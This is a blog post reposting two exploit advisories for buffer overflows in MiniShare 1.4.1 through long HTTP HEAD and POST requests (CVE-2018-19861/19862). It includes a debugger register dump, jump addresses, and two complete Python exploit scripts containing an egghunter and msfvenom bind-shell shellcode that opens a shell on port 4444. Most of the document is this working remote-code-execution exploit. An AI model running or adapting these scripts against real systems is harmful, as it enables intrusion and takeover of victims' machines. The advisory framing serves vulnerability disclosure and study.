Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86399674

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Not only the GET method is vulnerable to BOF (CVE-2004-2271). HEAD and POST
methods are also vulnerable. The difference is minimal, both are exploited
in the same way. Only 1 byte difference: GET = 3, HEAD and POST = 4 length

-------------------------------------------------------------------

EAX 00000000
ECX 77C3EF3B msvcrt.77C3EF3B
EDX 00F14E38
EBX 43346843
ESP 01563908 ASCII
"6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co
HTTP/1.1
"
EBP 0156BB90
ESI 00000001
EDI 01565B68
EIP 68433568
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 1  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDD000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010216 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

------------------------------------------------------------------------------

Only 210 bytes to shellcode

------------------------------------------------------------------------------

Badchars '00','0d'

------------------------------------------------------------------------------

>findjmp kernel32.dll esp - XP SP 3 English

Scanning kernel32.dll for code useable with the esp register
0x7C809F83      call esp
0x7C8369E0      call esp
0x7C83C2C5      push esp - ret
0x7C87641B      call esp


<!--
# Exploit Title: Buffer overflow in MiniShare 1.4.1 HEAD method.
# Date: 05-12-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://minishare.sourceforge.net/
# Software Link: http://minishare.sourceforge.net/
# Version: Minishare v1.4.1
# Tested on: Windows
# CVE : CVE-2018-19861
# Category: exploit

1. Description

Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to
execute arbitrary code via a long HTTP HEAD request.


2. Proof of Concept

Exploit:

#!/usr/bin/env python
import socket
import struct
import os

# Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to
execute arbitrary code via a long HTTP HEAD request - by Rafa
# CVE: CVE-2018-19861
# Via Egghunter because shellcode in ESP only 210 bytes long.
# Project Home Page (MiniShare) - http://minishare.sourceforge.net/
connection=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "127.0.0.1"
port = 80

# 32 bytes Egghunter - Egg = r4f4 = \x72\x34\x66\x34
egghunter =
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x72\x34\x66\x34\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

#msfvenom -a x86 --platform Windows -p windows/shell_bind_tcp LPORT=4444 -f
python -a x86 --platform windows -b "\x00\x0d" -f c
#Found 10 compatible encoders
#Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
#x86/shikata_ga_nai succeeded with size 355 (iteration=0)
#x86/shikata_ga_nai chosen with final size 355
#Payload size: 355 bytes
#Final size of c file: 1516 bytes
#unsigned char buf[] =
shellcode=("r4f4r4f4"+"\xda\xd4\xb8\xda\xe7\x1b\xca\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x53\x83\xea\xfc\x31\x42\x13\x03\x98\xf4\xf9\x3f\xe0\x13\x7f"
"\xbf\x18\xe4\xe0\x49\xfd\xd5\x20\x2d\x76\x45\x91\x25\xda\x6a"
"\x5a\x6b\xce\xf9\x2e\xa4\xe1\x4a\x84\x92\xcc\x4b\xb5\xe7\x4f"
"\xc8\xc4\x3b\xaf\xf1\x06\x4e\xae\x36\x7a\xa3\xe2\xef\xf0\x16"
"\x12\x9b\x4d\xab\x99\xd7\x40\xab\x7e\xaf\x63\x9a\xd1\xbb\x3d"
"\x3c\xd0\x68\x36\x75\xca\x6d\x73\xcf\x61\x45\x0f\xce\xa3\x97"
"\xf0\x7d\x8a\x17\x03\x7f\xcb\x90\xfc\x0a\x25\xe3\x81\x0c\xf2"
"\x99\x5d\x98\xe0\x3a\x15\x3a\xcc\xbb\xfa\xdd\x87\xb0\xb7\xaa"
"\xcf\xd4\x46\x7e\x64\xe0\xc3\x81\xaa\x60\x97\xa5\x6e\x28\x43"
"\xc7\x37\x94\x22\xf8\x27\x77\x9a\x5c\x2c\x9a\xcf\xec\x6f\xf3"
"\x3c\xdd\x8f\x03\x2b\x56\xfc\x31\xf4\xcc\x6a\x7a\x7d\xcb\x6d"
"\x7d\x54\xab\xe1\x80\x57\xcc\x28\x47\x03\x9c\x42\x6e\x2c\x77"
"\x92\x8f\xf9\xe2\x9a\x36\x52\x11\x67\x88\x02\x95\xc7\x61\x49"
"\x1a\x38\x91\x72\xf0\x51\x3a\x8f\xfb\x4c\xe7\x06\x1d\x04\x07"
"\x4f\xb5\xb0\xe5\xb4\x0e\x27\x15\x9f\x26\xcf\x5e\xc9\xf1\xf0"
"\x5e\xdf\x55\x66\xd5\x0c\x62\x97\xea\x18\xc2\xc0\x7d\xd6\x83"
"\xa3\x1c\xe7\x89\x53\xbc\x7a\x56\xa3\xcb\x66\xc1\xf4\x9c\x59"
"\x18\x90\x30\xc3\xb2\x86\xc8\x95\xfd\x02\x17\x66\x03\x8b\xda"
"\xd2\x27\x9b\x22\xda\x63\xcf\xfa\x8d\x3d\xb9\xbc\x67\x8c\x13"
"\x17\xdb\x46\xf3\xee\x17\x59\x85\xee\x7d\x2f\x69\x5e\x28\x76"
"\x96\x6f\xbc\x7e\xef\x8d\x5c\x80\x3a\x16\x6c\xcb\x66\x3f\xe5"
"\x92\xf3\x7d\x68\x25\x2e\x41\x95\xa6\xda\x3a\x62\xb6\xaf\x3f"
"\x2e\x70\x5c\x32\x3f\x15\x62\xe1\x40\x3c")

# findjmp kernel32.dll esp - WinXP SP3 English
#0x7C809F83      call esp

nops = "\x90" * 16

junk = "A" * 1786 + "\x83\x9f\x80\x7c" + nops + egghunter + "C" * (2000 -
1786 - 4 - 16 - len(egghunter))

try:
print "Sending exploit..."
connection.connect((host,port))
buffer = (
"HEAD " + junk + " HTTP/1.1\r\n"
"Host: " + shellcode + "\r\n\r\n")

connection.send(buffer)
connection.close()
print "\nExploit Sended ", len(buffer)
except:
print "Connection error"



3. Solution:

This product is deprecated

-->


<!--
# Exploit Title: Buffer overflow in MiniShare 1.4.1 POST method.
# Date: 05-12-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://minishare.sourceforge.net/
# Software Link: http://minishare.sourceforge.net/
# Version: Minishare v1.4.1
# Tested on: Windows
# CVE : CVE-2018-19862
# Category: exploit

1. Description

Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to
execute arbitrary code via a long HTTP POST request.


2. Proof of Concept

Exploit:

#!/usr/bin/env python
import socket
import struct
import os

# Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to
execute arbitrary code via a long HTTP POST request - by Rafa
# CVE: CVE-2018-19862
# Via Egghunter because shellcode in ESP only 210 bytes long.
# Project Home Page (MiniShare) - http://minishare.sourceforge.net/
connection=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "127.0.0.1"
port = 80

# 32 bytes Egghunter - Egg = r4f4 = \x72\x34\x66\x34
egghunter =
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x72\x34\x66\x34\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

#msfvenom -a x86 --platform Windows -p windows/shell_bind_tcp LPORT=4444 -f
python -a x86 --platform windows -b "\x00\x0d" -f c
#Found 10 compatible encoders
#Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
#x86/shikata_ga_nai succeeded with size 355 (iteration=0)
#x86/shikata_ga_nai chosen with final size 355
#Payload size: 355 bytes
#Final size of c file: 1516 bytes
#unsigned char buf[] =
shellcode=("r4f4r4f4"+"\xda\xd4\xb8\xda\xe7\x1b\xca\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x53\x83\xea\xfc\x31\x42\x13\x03\x98\xf4\xf9\x3f\xe0\x13\x7f"
"\xbf\x18\xe4\xe0\x49\xfd\xd5\x20\x2d\x76\x45\x91\x25\xda\x6a"
"\x5a\x6b\xce\xf9\x2e\xa4\xe1\x4a\x84\x92\xcc\x4b\xb5\xe7\x4f"
"\xc8\xc4\x3b\xaf\xf1\x06\x4e\xae\x36\x7a\xa3\xe2\xef\xf0\x16"
"\x12\x9b\x4d\xab\x99\xd7\x40\xab\x7e\xaf\x63\x9a\xd1\xbb\x3d"
"\x3c\xd0\x68\x36\x75\xca\x6d\x73\xcf\x61\x45\x0f\xce\xa3\x97"
"\xf0\x7d\x8a\x17\x03\x7f\xcb\x90\xfc\x0a\x25\xe3\x81\x0c\xf2"
"\x99\x5d\x98\xe0\x3a\x15\x3a\xcc\xbb\xfa\xdd\x87\xb0\xb7\xaa"
"\xcf\xd4\x46\x7e\x64\xe0\xc3\x81\xaa\x60\x97\xa5\x6e\x28\x43"
"\xc7\x37\x94\x22\xf8\x27\x77\x9a\x5c\x2c\x9a\xcf\xec\x6f\xf3"
"\x3c\xdd\x8f\x03\x2b\x56\xfc\x31\xf4\xcc\x6a\x7a\x7d\xcb\x6d"
"\x7d\x54\xab\xe1\x80\x57\xcc\x28\x47\x03\x9c\x42\x6e\x2c\x77"
"\x92\x8f\xf9\xe2\x9a\x36\x52\x11\x67\x88\x02\x95\xc7\x61\x49"
"\x1a\x38\x91\x72\xf0\x51\x3a\x8f\xfb\x4c\xe7\x06\x1d\x04\x07"
"\x4f\xb5\xb0\xe5\xb4\x0e\x27\x15\x9f\x26\xcf\x5e\xc9\xf1\xf0"
"\x5e\xdf\x55\x66\xd5\x0c\x62\x97\xea\x18\xc2\xc0\x7d\xd6\x83"
"\xa3\x1c\xe7\x89\x53\xbc\x7a\x56\xa3\xcb\x66\xc1\xf4\x9c\x59"
"\x18\x90\x30\xc3\xb2\x86\xc8\x95\xfd\x02\x17\x66\x03\x8b\xda"
"\xd2\x27\x9b\x22\xda\x63\xcf\xfa\x8d\x3d\xb9\xbc\x67\x8c\x13"
"\x17\xdb\x46\xf3\xee\x17\x59\x85\xee\x7d\x2f\x69\x5e\x28\x76"
"\x96\x6f\xbc\x7e\xef\x8d\x5c\x80\x3a\x16\x6c\xcb\x66\x3f\xe5"
"\x92\xf3\x7d\x68\x25\x2e\x41\x95\xa6\xda\x3a\x62\xb6\xaf\x3f"
"\x2e\x70\x5c\x32\x3f\x15\x62\xe1\x40\x3c")

# findjmp kernel32.dll esp - WinXP SP3 English
#0x7C809F83      call esp

nops = "\x90" * 16

junk = "A" * 1786 + "\x83\x9f\x80\x7c" + nops + egghunter + "C" * (2000 -
1786 - 4 - 16 - len(egghunter))

try:
print "Sending exploit..."
connection.connect((host,port))

buffer = (
"POST " + junk + " HTTP/1.1\r\n"
"Host: " + shellcode + "\r\n\r\n")

connection.send(buffer)
connection.close()
print "\nExploit Sended ", len(buffer)
except:
print "Connection error"



3. Solution:

This product is deprecated

-->